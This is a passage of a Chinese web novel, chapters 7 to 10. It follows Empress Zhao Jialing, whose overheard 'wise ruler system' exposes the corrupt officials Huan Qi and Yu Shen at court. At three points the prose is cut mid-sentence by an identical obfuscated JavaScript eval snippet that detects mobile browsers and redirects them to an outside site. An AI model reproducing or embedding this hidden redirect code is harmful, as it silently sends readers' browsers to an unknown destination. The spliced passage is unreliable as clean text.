她就算想罢免一个官员,就有一个接一个的朝臣上书,有义正词严引经据典闹得她头大如斗的、有涕泗横流口口声声先帝诉说老臣忠心的,赵嘉陵当初就说了一句“那你去见先帝吧”,就被御史谏官轮番轰炸半个月,连不问政事的太后都被惊动了。 她整个人都麻木了。 什么乾纲独断的权威,没有,统统没有。 【去查呀!】明君系统咬牙切齿,人不就是拿来用的吗? 赵嘉陵木着一张脸:【朕上次让暗卫办了个什么事,也被指责了。】 【是吗?百官们手这么长?】明君系统狐疑。 它的声音消失了一会儿,去查数据库了。 片刻后,明君系统带着尖叫回来。 【宿主,你让暗卫去将谢兰藻家种的豆苗给霍霍了,暗卫是这样用的吗?!】 赵嘉陵撇了撇嘴。 【天符四年三月,宿主您让暗卫往谢宅扔酸诗——在被朝臣督促扩充后宫后,您将一切都赖到谢兰藻的身上,认为她不可能替您挡下这些糟心事,所以你以牙还牙。谢宅的确鸡飞狗跳一阵,谢兰藻的祖母襄城大长公主也就是您的姑祖母以为谢兰藻铁树开花心有所属,拉着她彻夜长谈,想让她将投诗人带回。当然,最后谢兰藻发现是您干的好事。】 【天符三年十月,宿主将讲读所的《圣人图》换成谢兰藻的画像,并用谢兰藻的诗文习字,还御书谢兰藻律诗赐给臣僚。】 赵嘉陵撇了撇嘴角,不高兴道:【有问题吗?朕就是想日夜与谢卿相对而已。还有,那劝朕扩充后宫的,不就是谢兰藻吗?】 明君系统:【宿主您冤枉她了。中书令关心的事很多,唯独不关心您的终身大事。】 赵嘉陵震惊,她失声道:“可恶,谢兰藻凭什么不关心朕?朕对她日思月想,谢兰藻心中怎么能没有朕?” 殿中静默。 伺候的宫人们默默地将头低了回去。 她们什么都没听见。 作者有话说 显示所有文的作话 第4章 004 7. 007 朝臣不知道,赵嘉陵也不知道。 她暂时也没有兴趣了解。 侍卫将桓启拖出去了,这次朝会处理这件大事后,文武百官们没什么事情需要商议,赵嘉陵也就顺势退朝。不过下朝之后,她也没去寝殿,而是乘坐龙辇径直前往太后宫中。朝堂上的事情迟早要传到太后的耳中,毕竟被下狱的是她的亲舅舅,太后的同母弟。 虽然平日里没见太后对桓启有多亲近,可安国公府上该有的尊崇,那是一点儿都没落下。赵嘉陵心中没底,不确定将安国公下狱这事儿会不会刺激到了太后。 【系统,三三,阿娘不会将人捞出来吧?】 这种事情怎么让她来头疼,明明都是朝臣们推动的,她什么都没干啊,顶多是被叨叨到没办法。 【宿主,您阿娘您还不知道吗?】明君系统老神在,资料里太后也不是扶弟魔。 赵嘉陵稍微放了心。 她的确了解自己的阿娘,在弟弟和女儿中,肯定是保女儿权威的。再说了,还有个颇受阿娘看中的谢兰藻在呢。她过去还因为阿娘对谢兰藻的照顾而吃味——到底谁才是亲生的啊? 先帝蹬腿后,她于灵柩前继位。十四的年纪,虽然不算幼君,可毕竟不大,而且也没被培养过为君之道。一开始是太后垂帘听政,可等到她十六的时候,阿娘忙不迭撤帘了,对政事没有半点留恋。 她阿娘没什么权力欲望,人生中只有四个爱好。 一是养猫,二是喝酒,三是看兵书,四嘛——跟她的四姐有共同的话语,都爱参道。 赵嘉陵实在是不懂这些爱好怎么并存的,她某次在醉酒的阿娘跟前说了句“醉道人常清静否”,然后就被赶了出去。 胡思乱想间,人已经到了太后宫殿了。 赵嘉陵才从辇下下来,几只长毛小狸就围拢到了她的脚边,小爪子一抓一勾,带出一条细线。赵嘉陵忧愁地看着小狸奴,被簇拥着美倒是美,可有时候深恩难以消受啊。她低头看着挂在她腿上的雪白小狸奴,艰难地挪步。 宫中的狸奴至少有几十只,得亏谢兰藻出了“断根”的主意,要不然哪天龙椅上都得团一窝。 赵嘉陵不开口,近侍们也不敢凑到赵嘉陵跟前将狸奴给抱走。 太后坐在榻上看兵书。 赵嘉陵喊了声“阿娘”,便挥了挥手,示意伺候的人都退下去。 她朝着兵书上扫了一眼,密密麻麻的字闯入眼帘,她立马进入晕字的状态,只觉得两眼昏花,提前老了三十岁。 “陛下怎么过来了?”桓太后抬眸看赵嘉陵,才将兵书搁置,便有一只胖狸花以非同一般的矫健身姿跳到她的怀中。她年近四十,可面庞姣好,瞧着约莫三十的模样。 “儿来探望阿娘。”赵嘉陵扬起了笑,在太后身侧落定,伸出手摸了摸胖狸花。她跟太后之间没有隔阂,要提什么也不用拐弯抹角。她斟酌片刻,便直接道,“今日朝堂上有人弹劾佞臣,儿依从——” 可赵嘉陵的话还没说完,就被桓太后打断了。 她道:“陛下,朝堂之事不必与我分说,若有什么难以决断,问一问宰臣便是。” 赵嘉陵默了默。 她阿娘听到朝政事就跟她看书一样,立马就头疼得厉害。 可这次还是得说的。 她叹息道:“被弹劾的是阿舅。” “谁?”桓太后蹙了蹙眉,拖长语调道,“桓启啊,他活到现在没被人打死,全是仰仗你我母女二人。他犯什么事情了?”不等赵嘉陵应答,她又道,“罢了,不用与我说,该如何便如何吧。” 赵嘉陵吊着的那口气是彻底松下来了。她道:“儿已将阿舅下狱了,倒是想徇私,保全天子舅氏脸面,可阿舅他实在是过分。打着阿娘您的名义在外敛财,阿娘崇道,至今未曾修成,想必是阿舅在后方拖后腿。” 桓太后:“……倒也不必这么说。”这天底下没见谁真的能修成的,要论虔诚可没有,只是居于后宫打发时间罢了的。她睨着赵嘉陵,“桓启得罪你了?” “他就差指着儿的鼻子说儿是宠幸奸佞的无道昏君了。”赵嘉陵想起来就来气,虽然说皇帝该广开言路——她开了,至于听了逆耳的话,指望她没脾气吗?要知道上次自称虚怀若谷、虚心纳谏,高论我之得君如临明镜以君为镜鉴的,最后在谏官死后没多久,就把对方的墓碑给推了。 “对了,阿舅还想嫁女给忠王呢。这年轻才俊一抓一大把,怎么就选个瘫子?他倒是看好忠王,连带着儿的身后事都算上了。”赵嘉陵在太后跟前就不维持什么兄妹情了,提起中山公主是酸,说到忠王——本来是无感的,但听了系统的话后,就剩下满腔的不爽了。“他一个老鳏夫在榻上躺着得了,怎么还要糟蹋别人家的女儿呢?难道他是个香饽饽?” “桓启那贱人眼瞎吗?”桓太后脸上的从容就维持不住了。好吧,她也不信忠王那一系有什么夺取皇位的本事。她不介意桓启跟宗亲往来,但绑得那样深是准备做什么?别的她不管,但要是危害到了皇帝,那对她来说就是剜心刺骨的事儿。 “下狱就下狱,样样都按照规矩办。”桓太后的声音凉飕飕的。 赵嘉陵又说:“但安国公府上——”不消她多说,桓太后也能明白。安国公的家眷必定会入宫求情的,而且找皇帝的可能不大。 桓太后说:“就说我病了。” 赵嘉陵弯着眼眸:“那儿侍疾,暂罢常朝。” 桓太后乜着她:“想都别想。” 在太后宫中蹭了顿午膳后,赵嘉陵才回到寝殿。 桓启的事情用不着她操心,看百官们的架势,非要将他剥掉一层皮不可。太后既然不反对,那下狱就下狱吧。 赵嘉陵心情颇好,要她费尽心思除掉佞臣,她没这个本事。 但直接送到手的功劳,不接白不接。 正所谓“天予不取,反受其咎”。 【三三,那什么成就奖励?】赵嘉陵跟明君系统说话。 书名她就记住了“工作”“提升”之类的字眼,至于别的不清楚。 她还没弄懂是她癔症发作,还是真的有神明相助的。 没抱有任何期待的赵嘉陵话音才落下,啪嗒一声响, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928888|177168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案上凭空多了一册样式古怪的东西。 【是书。】明君系统说。 【书?】书卷长这样吗?诶,不对,怎么真就变出来了?是她着魔的程度加深了,还是天运到了? “银娥!”赵嘉陵当即呼唤伺候她的大宫女,她指了指桌上的书册,问,“你看得见吗?” 银娥:“?”她不太懂陛下的意思,茫然地点了点头说,“婢子能瞧见。” 赵嘉陵又说:“念一念。” 银娥:“工作效率提高法,高效管理任务。” 【这可是专门本土化的,用的你们的文字。】明君系统很骄傲。 【我们的文字?难道还有别的?】赵嘉陵问,但她很快就不在字体上纠缠了,这凭空造物,根本不是人能使出的手段啊!原来真的有东西跟着她。 太好了,她没病! 赵嘉陵内心尖叫,面上从容镇定。她翻了翻书籍,然后被目录页的“人员管理、报表、统计图、任务流程”给干翻了。赵嘉陵当机立断合上《工作效率提高法》,朝着银娥吩咐道:“命人将谢中书请来。” 政事堂中。 占据话题中心的并非是下狱的桓启,而是“心声”。 中书侍郎坚信陛下是真龙天子,是神明降世,所以身边有神明相助。 而中书舍人则是抱有一点忧虑。 虽然心声说的事情都对上了,可万一这是用来迷惑他们的呢?万一哪天图穷匕见呢? 到底是不是跟陛下有关,还有待确认。 除此之外,可以确定有些人听不着,那又是什么原因? 被赵嘉陵请入宫中的谢兰藻也满腹心事。 而赵嘉陵,在派人去请谢兰藻后便后悔了。 如果谢兰藻要打破砂锅问到底,她要怎么解释那奇怪的书? 【就说是太庙里挖到的。】明君系统给赵嘉陵出主意。 它就不信有官员还要去检查太庙。 而且就算问到底,到时候也有办法应对。 譬如—— “你下去问先帝啊。” 赵嘉陵表示明白。 但在看到谢兰藻的时候,她的笑容仍旧有些僵。 她张了张嘴,一个字都没说。 【宿主,你要跟谢兰藻相顾无言吗?】 赵嘉陵叹气:【朕倒是想与谢卿相对坐调笙。】 谢兰藻面无表情地听着赵嘉陵的心声。 只要听得更多,承受能力就会往上提升。 赵嘉陵最终还是做了决定,她指了指那本书,示意宫女把它送到谢兰藻的手中。 她自个儿慢条斯理地问:“谢卿如何看?” 谢兰藻双手捧着书册以示对皇帝的尊重。 心里想着赵嘉陵又弄了什么乱七八糟的东西来折腾她,可在眼神落到书封上那行字的时候,她眸光倏地一凝。 她跟赵嘉陵不一样,清楚地记得明君系统说的话。 ——《工作效率提高法:高效管理任务》。 所以不是妖魔鬼怪邪风入侵,那就是陛下的心声啊。 8. 008 谢兰藻忽略赵嘉陵的心声,蹙眉翻看手中的书籍。 虽然装订方式与时兴的书轴不同,拿到手之后就知道如何翻阅。她一目十行地扫过文字,暗暗地惊诧书页的方便,将这一事记下后,更认真地看内容。那些话语不难理解,书中图表很新奇,的确能够提升做事效率。 【那是什么东西?谢兰藻看那么认真?她都不看朕了。】赵嘉陵跟系统说话。 【宿主不要无理取闹,那薄薄的册子里可都是精华。剔除各种各样的假大空,用图表的方式让奏状一目了然,管理落实到具体的人方便追究责任,任务流程简化,工作总结上呈,更方便宿主您浏览啊!朝堂要用起来,就连后宫也可以试试。】明君系统跟赵嘉陵推荐。 当然它指望的不是赵嘉陵,既然开了话匣子,它就喋喋不休地开始念,试图将知识点塞满谢兰藻的脑袋。至于赵嘉陵,要划水就划水吧。 谢兰藻一心二用,在翻书的同时也注意着系统跟赵嘉陵的对话。 【宿主,这东西是个人都能总结起来,妨碍改制的是老古板。总之,这是开胃菜,只要你之后勤勤恳恳做任务,获得成就,就能拥有让大雍富强起来的利器。到时候别说名垂青史,就算您骑着列祖列宗牌位上朝,都没人说一声不是。】 谢兰藻:“?”富国便民之物?任务?成就?她听着有些混沌,只暗暗地将这些词汇记下。之后那系统最后一句话还是让她的脸色出现微妙的变化。如此不敬,当真是大雍列祖列宗显灵? “陛下。”谢兰藻抬眸。 赵嘉陵被她吓了一跳。 【三三,她是不是又要刨根问底了?朕该怎么解释书从哪里来的?】 她承认她有点着急,谢兰藻那锐利的眼神,说谎根本骗过她啊! 谢兰藻的确想询问书册的来历,但听到赵嘉陵慌张的心声后,又将到了唇边的话咽了回去。她缓了缓语气,平和道:“陛下,臣能够将它带回参阅。” 赵嘉陵:“准准准。”反正她是不会看的。破系统还说好东西,真要有好物,怎么不给她来一回醍醐灌顶?要是有神力,直接将治国策略塞满她的脑袋。 谢兰藻在殿中待了一会儿就怀着御赐之物离开。 赵嘉陵松了一口气。 【宿主,您怕她?】 赵嘉陵反驳:【谁怕她了?你懂什么?她可是朕的宰相,是肱股之臣。】 明君系统:【也是不怕的,不然也不会三番五次在谢兰藻的雷点蹦迪。】 赵嘉陵迷糊地问:【什么意思?】 她的直觉告诉她不是什么好话。 明君系统不吭声。 听不懂就对了。 接下来几日,除了上呈安国公的罪状外倒是没什么大事。 桓启本人在诏狱中蹲着,而安国公府上的……果真来找太后哭诉。这皇亲国戚嘛,谁没点毛病,打个哈哈过去就行了。罪责是大是小,可不是圣人说了算吗?宰臣们难道一点面子都不给吗?安国公可是圣人的母舅啊!然而求情的连赵嘉陵和太后的面都没见到。 宫里的态度其实也是个信号。 百官们悟了,管它呢,先上书弹劾,跟桓启划清界限,至于以前一起喝的酒、骂的人,那都过去的事情了,跟现在的他们有什么关系?人要在朝中立身,那得厚脸皮。 赵嘉陵不意外百官的反应。 这些年也不是没发生过。 先帝当初给她留下了四位辅政的,运气好的告老还乡荣养了,至于剩下的两位,命没了就算了,直接身后名都消失了,史册的奸佞传记中给他们留了个坑。 其中有谢兰藻在操弄,但死死撕咬他们屁股的,可都是旧日亲朋和门生。当然也有如孝子生时相随、死后侍奉的,演绎一出门生故吏的深情。感动归感动,直接科场除名,让他们去江湖做白衣卿相了。 在一众反水的人中,有一个让赵嘉陵有些意外。 是她的三哥忠王。 他让人抬他入宫,五体投地趴在地上请罪,还把桓启与他往来的书信上呈了。 赵嘉陵能怎么办?只能让人把忠王抬回去。毕竟桓启跟忠王交通那罪状还没大到将忠王也给下狱的地步。 朝臣们没提,赵嘉陵也不想背负杀兄的骂名。 当年大哥二姐怎么不再癫一点,把忠王也给带走啊? 在一叠书信中,不少是吹捧忠王的歪诗。 也不知道她那舅舅眼瞎到什么地步,还能说出“丰神俊逸”这样的话来。 忠王久卧病床,能有好样吗? 【宿主,有的被忠王烧了。】明君系统跟赵嘉陵说。 【难道他们密谋害死朕?!】赵嘉陵愤怒,要是这样的话,她得想办法给忠王也强行定罪了。 【那倒没有。虽然忠王那边从没停止过延请名医,但瘫了就是瘫了,除非有灵丹妙药不然别想着恢复。他的希望是儿子平恩郡王赵启明呢。】明君系统说。 朝堂上。 百官们战战兢兢地听着心声,不由得思绪漂浮。 如果要从宗室中选择储君,的确忠王一脉概率最大。虽说陛下开恩,恢复了衡山王和中山公主的宗室属籍,册封了他们的女儿,但说到底,这两位是让先帝发怒的罪臣,他们的后嗣当然被踢出继承人的行列。更何况,他们留下的都是女儿,不少人私心底更希望出现一位男君,恢复传统。再说金仙公主,她跟驸马不可能生下孩子。 诶,不对,怎么就断定陛下无后了呢?! 胡思乱想的臣子心中一悚。 他们能听到陛下的心声,那跟随着陛下的神明是否将他们的一举一动、一言一行都说给陛下听?!百官忙止住发散的思绪,生怕走不出这宣政殿。 【本来忠王没有那想法,但耐不住安国公不停地说。安国公除了说了昏聩不明外,还说您跟金仙公主一个德行,都喜欢女人。总之,忠王努力下是可以让他那一支变成大宗的。】 陛下喜欢女人? 这个定论哐当一下砸了下来。 哦不,喜欢女人不可怕,就怕变成跟金仙公主一样的癫子。 百官们被砸得头晕目眩,忍不住还是联想。 陛下御极后一直未曾选人。 她对名家子不屑一顾。 先前陛下的心声都念着谢中书吧? 天子立后,亦是宗庙大事,宰臣有义务劝谏君王。可谢中书包揽诸事,唯独对陛下的婚姻大事不肯上心。 由此可推论,谢相并不想让陛下成家。 所以—— 朝臣们面上不显,可内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928889|177168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心深处念头飞转! 所以陛下早就跟谢中书暗度陈仓了,啊,不是,是情投意合。 若陛下立谢中书为后,中宫不好居于外朝主政,所以一直瞒着朝臣! 难怪陛下先前不满谢中书。 这分明是想立后而不得啊。 可又不愿意伤谢中书的心,所以所谓“夺权”手段有如儿戏。 所以密谋对付谢中书的“忠臣”都死了。 人家的家事瞎掺和什么呢?死得一点都不冤。 官员们恍然大悟。 谢兰藻背挺得笔直。 在听到系统的话语后,她察觉到了数道视线落在她的身上。 她思绪一转,就能猜到同僚想什么,不由得头皮发麻。 好个赵嘉陵,再不遏制她那奔马似的心声,她的清白都要全毁了。 唯一庆幸的是,皇帝陛下没直接喊出她的名字来。 赵嘉陵噎了好一会儿,才说:【朕那阿舅想得还挺多。】 明君系统:【他们那种人最擅长察言观色了,宿主多看谢兰藻一眼,都会被人谨记在心的。况且宿主当初往谢宅扔定情诗的,桓启也知情吧。】 谢兰藻:“……”她那一口气放松得太早了。眼见着心声逐渐离谱,谢兰藻没办法维持沉默了,她道:“请陛下裁断。” 赵嘉陵:“虽是元舅之亲,朕亦不敢徇私以负黎民。便依大理寺裁决,革职除爵,贬为庶人,流一千里,其家财没官。”这是从政事堂呈上来的处理方式,赵嘉陵也懒得去改变什么。桓启罪臣,本人被流放,但家眷却是能够留下的,毕竟是皇亲,没了往日的荣光,也不会糟糕到去沿街乞讨。 定了定神,她又道:“忠王有疾,朕愿成全平恩郡王孝心,许其归家侍亲。”赵嘉陵也不是完全糊涂,屁股底下的位置,她想摆烂是一回事,被人盯着又是另一回事。 忠王之子如今六岁,才进国子监读书。原本宗亲和宰相子孙都在两馆就读,不过在赵嘉陵登基后,谢兰藻上疏称两馆学生疏懒懈怠,上课考试水平低劣,又无特殊才能,全都仰仗自己门第清华,浑噩度日,于是奏停两馆,将学生全部送进国子监中。 依照本朝旧制,两馆学生诗赋、杂文以及试策只用粗通,便能及第,入两馆的贵胄子弟有恃无恐,无心向学,为学府一大弊病。虽然阻拦的贵胄多,可这项提议仍旧通过了。于是,宗亲也都成了国子监的学生,包括忠王之子。 百官齐声道:“陛下圣明。” 桓府。 里里外外的人面色惶恐。 谁能想到偌大的国公府就这样塌了? 桓启膝下子嗣众多,嫡出的只有长子桓楚泽和第三女桓楚襄。 桓楚泽原本靠着门荫任郎官,如今因桓启之事一并被罢免,心中愤愤不平。 在桓启一团乱的时候,太后宫中的人来宣旨,请桓家三娘子入宫侍疾。 “三妹,你能见到太后,阿耶的事情,是否能找到生机,全靠你了!”桓楚泽好似抓到一根救命稻草。 桓楚襄:“……”自从知道父兄商量着将她嫁给忠王做继室,她看到他们的脸就反胃。“阿兄,你让阿耶放心吧。” 放心去吧,要是死在半路,她会恳请太后将灵柩接回,让阿耶风光大葬的。 9. 009 对于桓楚襄入宫为太后侍疾的事,百官们没什么反对意见。太后毕竟是桓家走出来的,怜惜骨肉也是常事。 桓启流放、桓家抄家,但谁都知道,桓家的东西不可能干干净净都入国库,他们有自己的手段保全财产。 在这个阶段,桓家处境危险,暗中盯着的豺狼会想办法去撕咬,直到将他们啃食殆尽,太后此举,更像是一番警告。 至于赵嘉陵本人,对太后的决定更是没什么异议。桓楚襄今年十六,比她小三岁。安国公的计划是未来桓楚泽承爵,而桓楚襄是要走科举一路的。赵嘉陵在宫中与她见了一面,看她还能谈笑风生,完全没有快要没爹的样子,就更放心了,不会影响到科举的,只要桓启没真的死了。 政事堂中。 谢兰藻早就将那本册子看完了,又递到了其余宰臣的手中,询问他们的意见。 宰臣们大多无异议,附和道:“倒是明确直观许多。不论如何,户部和吏部是十分需要的。” 谢兰藻了然,在取得赵嘉陵同意后,便让都省率先按照册子上的做。尽管一开始会因不习惯手忙脚乱,无头苍蝇似的乱撞,可等渐渐地上手,倒也方便有条理许多。谢兰藻索性借着这个时候整理三省官员名录、官吏任免考核、户籍以及赋税上呈给赵嘉陵。 赵嘉陵虽然对名录没什么兴趣,她能记住的其实只是些有资格上常朝的以及身边的近臣。至于户籍和赋税,她更是不知,全赖手底下的臣子做事。不过统计嘛,完全是一件小事,谢兰藻要做的话,那就批了。至于谢兰藻在整理名录时候想借机干什么,她不知道也不想知道。 可就是这样微不足道的事,在上早朝的时候掀起一番轰动。 吏部尚书余深参了谢兰藻一本。 不想点卯上朝的赵嘉陵昏昏欲睡的,听到“谢兰藻”三个字就清醒了。 余深的意思很明确,吏部事务繁忙,谢兰藻突然找人统计官员任免,并且给出了做范本的图表,非要吏部重新做,这不就是没事找事吗?吏部自有甲库在,存储着选官的资历状部,官员的勋赏、黜陟、授官、除免都得参考,何须再做什么人事管理档案簿? 谢兰藻神色从容,她这么做自是有缘由的。过去想要抽调各部门档案重理,遇到的阻力颇大。 或是不想多事,或是心中有鬼祟,百官们有种种办法阻止她继续查。就算是能置身事外的,也会保持缄默,包括她的一些旧交。 可现在不一样了,已知朝中能听到皇帝心声的朝臣不少,不仅仅是看脸色,光是追溯那些关于她和陛下八卦的源头,也能确定名录。 小册子在这些人耳中,乃是神明之言,谁会不识相地跳出来阻拦?没看桓启被那神明扒得一点脸面都没留下吗? 至于余深—— 哦,他跟桓启一般,听不见陛下心声。 谢兰藻甚至不需要说什么,就会有人出列替她反驳余深。 但没等到朝臣开口,系统就气冲冲开口了。 【个老贼,人模狗样的,很会装相。】 【怎么说?】赵嘉陵对吃瓜还是很有兴致的,余深么,在她记忆中是“清廉”的代表,为人谨慎恭顺,居住简陋衣服朴素,听说在老母过生日的时候只割了一刀肉庆祝,被时人夸赞。 系统还没输出就被一个胆大的官员打断了。 他道:“臣以为,余尚书所言不差。吏部已有甲库,无须再劳烦吏员重新造簿编册。” 说话的是吏部员外郎,专门管甲库的。 员外郎是六品官,但因职权特殊,也有每日朝参的资格。 他的位置在后头,余深给他安排了任务,不得不附和,压根没听见赵嘉陵的心声。 户部侍郎清了清嗓,也附议道:“户籍三年一造,以往户籍土地,皆已造册。如——” 明君系统不等户部侍郎说完,便道:【怎么不需要呢?不整理一下和其它甲库的藏本作对比,怎么知道余深收了别人的钱,偷偷地涂改、伪造甲历呢?】 户部侍郎面色一白,身体一抖,生硬地转了话题,道:“然今时不同往日,臣观陛下所赐之法甚好。” 谢兰藻自然也听到系统的声音,她眸色不由变得深沉。 那跟随着陛下的东西,到底知道多少事? 户部侍郎引来身边同僚诧异的目光,可他不管了,尽可能地缩减自己的存在感。 他恨自己想偷懒,非要嘴贱,没看到上官都没出声吗? 监察御史孟宣和听到心声后,眸光一转,当机立断道:“臣要告吏部尚书余深卖官鬻爵!其人任意涂改甲历,与人为奸!”话虽简短,但掷地有声。 证据不能说是心声,但将甲历一调便可知。本朝官员队伍庞大,京官尚且知名,可州县佐吏哪能尽数记下?其守选升迁全看甲历,其中可操作的空间就多了。 余深还在愣神,那勇敢出声的吏部员外郎扑通一声跪在地上,战战兢兢不敢言。 明君系统:【宿主,任务触发啦。请完成“主线任务·治国·除奸佞二·吏部尚书、忠王奸党余深”,如果获得成就,会有奖励。】 赵嘉陵:【怎么又是忠王?奖励?奖励是什么?】 她那三哥是不是存在感太强了? 明君系统:【依据宿主完成的成就决定,我也不知道。】 阶下的重臣们也屏息不言,听到“忠王”两个字,身上冷汗更甚了,拼命地回忆自己跟忠王府的吃了几顿饭,有没有收过礼。 谢兰藻的注意力却是落在“奖励”上。 桓启落败后,那书册便是奖励吗?可要说那书册的作用,倒不算大。 如果解决了余深,又会获得什么呢? 她的眼神幽幽的,如深林寒潭。 余深不比桓启,他是先帝朝的老臣,在营造名声方面,自然是做得极好,是怀中抱义的清廉之臣,以“不营资产”为名,在士林中颇有声望。查甲库就算发现什么,完全可以推出一个人替他顶罪,届时信他的人必定极多。 谢兰藻一直知道吏部水很浑浊,盘根错节的,不好着手整治。不过在听了皇帝心声前,她也没想到是余深本人在操弄。 【可余深名声太好,朕要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928890|177168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是直接将他处决了,怕是会被士人的唾沫星子淹死。】赵嘉陵继续摆烂。 这一点她可是深有体会的,前年便有一谏官叫陈希元,好议论人君,赵嘉陵被她指着鼻子骂,气得让人将她拖出去杖责。结果朝臣纷纷为对方求情,并且明里暗里指责她没有气度,有厉王的残暴。至于谢兰藻,更是为了那人免冠素服跪在殿外求情。 赵嘉陵跟系统抱怨了一通,她到最后耿耿于怀的已不是对方犯上的事情了,而是谢兰藻的态度。 为什么呢?就因为陈希元是她师姐,所以能让她做到那地步吗? 明君系统不说好也不说话,它继续道:【余深做这些事情是有真凭实据的,只要宿主下令,就能将他处置了!】 沉浸旧事的赵嘉陵兴致缺缺,视线朝着下方扫,看着谢兰藻的眼神带着显而易见的幽怨之色。 明君系统:“……”累了,毁灭吧,直接开大。 它调出资料库,叭叭叭地开始深扒余深的履历。 【余深为官清廉,家徒四壁,靠妻子和儿媳每日耕作织布维持生计。他出身农家,靠科举出人头地,登科及第后对妻子不离不弃,鹣鲽情深,为人所称羡,是士人典范。但这些都是假象啊!大雍官员俸禄不薄,余深家宅人口不多,靠他的俸禄维持生计不成问题。钱财哪里去了呢?知晓余深清名的一定道他捐出去了,也确实如此。他将钱财捐给了京中一座寺庙。但那寺庙的主持,不是真和尚!】 【住持是替余深敛财的人,赃货狼藉,他交游的富商大贾朝夕盈门呢,这其中当然不乏余深的前线。余深从地方调任因政绩颇丰调入京中,那我们看看他在地方上干了什么事儿呢?嗯,利用粮食歉收的机会投机倒卖,鱼肉百姓。至于好名声怎么来的,你别问。】 【再说他跟忠王眉目传情——啊,不是,是“云龙鱼水”。他跟忠王说,大王骨法非常,日后必为万乘之主——不过是先帝还在的时候说的,一说完忠王就瘫了。但他没跟忠王断交,依旧是忠王的好狗腿。他几度知贡举,是不好士人的座主,至于这些士人……多少引荐给了忠王。】 殿中突然寂静了下来。 被弹劾的余深心中不安。 他悄悄地观察着同僚的神色,从他们脸上找到一丝惊恐,还有一种奇怪的、八卦的隐秘。 怎么回事? 不太对劲。 “陛下,臣冤枉!”斟酌片刻后,余深替自己叫屈。 “冤你个大头鬼!你个田舍郎!”随着愤怒叱骂声想起的是一道清脆的巴掌声。 赵嘉陵眼皮子跳了跳,动手的是淮海侯、左卫将军。他跟余深是姻亲,他女儿就是在余家天天纺织吃苦的。淮海侯一直是暴脾气,他本来是国公爵,但在先帝朝因闯祸被降爵。现在这一巴掌将老书生余深扇飞,也是全然不在意自己的爵位一降再降。 武德充沛。 赵嘉陵也算是开了眼。 “成何体统!”她斥道。 心中想的却是另外的话语。 【用力点,没吃饱吗?唉,淮海侯,别误伤了朕的宰相。】 10. 010 一个手无缚鸡之力的文臣是抵挡不住勋贵武臣的拳头的,所幸淮海侯没有打第二拳的机会就被制住了,余深不至于落到眼歪口斜的凄惨境地。 赵嘉陵登基五年,头一回见有朝臣在朝会上暴起,这可不是说小话或者打瞌睡一类的“御前失仪”,非三言两语就能揭过去的。淮海侯和余深一并被下狱收监。 淮海侯被押出去的时候还咧着嘴笑,显然是不在意责罚的,从国公爵被贬为侯爵,也没见他汲取教训。至于余深,那是一个涕泗滂沱、泪如雨下。淮海侯那一下实打实的,他的面颊高高肿起。朝臣都不忍心看他那副惨样,可一个替他求情的都没有。 能听到皇帝心声的知道余深小人行径,哪敢多说什么? 至于听不到的,看着淮海侯那渗人的笑,在打个寒颤。在朝堂上斗殴,得多大的仇恨啊?要是瞎掺和被淮海侯记恨上,那以后就别想睡得安稳了。真要替余深求情,那还是悄悄地递折子吧。 在淮海侯和余深被拖下去后,朝堂上是非一般的静。 藐视天威,目无君上,拖出去当场打死都可以。 赵嘉陵看着阶下拱动的头颅,眸光平静。 淮海侯这举动有损皇帝的脸面,但赵嘉陵不在乎。要是真刀实枪地打上一场,看头也比看这一堆战战兢兢不敢言的脑袋多。 明君系统也没吭声。 它也没有算到淮海侯会这么不体面。看着底下群臣的反应,它再度提起斗志,宿主的情况哪里没救了?她还是有做明君潜力。 宿主认为自己没有皇帝的威严,倒不是体现在群臣蔑视她、只吹捧谢兰藻这种事情上;而是没法将朝廷变成她的一言堂,她想做的事情不是一道口谕就有人办妥的,反而处处受阻。但朝臣的存在就是制衡皇帝脑子一抽抽,做出什么不切实际的事情来。要不然让没有才能或者刚愎自用的可劲作妖,不就完蛋了。 诡异的沉默被孟宣和慷慨激昂的语调打破,既然从陛下的心声听到了余深的罪行,那当然得追击了!这种蠹虫怎么能名列朝堂?反正余深现在也不能自辩。 谢兰藻奏道:“余深有罪,人神同疾,今已收监,伏请三司勘鞫,考其罪名。”大雍太.祖开国,以中书舍人、给事中以及御史组成三司,察天下冤滞事。在太宗朝三司转移,由尚书刑部、御史台以及大理寺共理,亦号“三司”。 【宿主,这不是完成任务的好机会吗?反正不需要您动脑子,底下会有人查的。】明君系统说。 赵嘉陵也不会在这个时候给谢兰藻使绊子,听了系统描述的内容,她也觉得余深不是个东西,恨不得淮海侯多捶上两拳。她清了清嗓子,道:“准。” 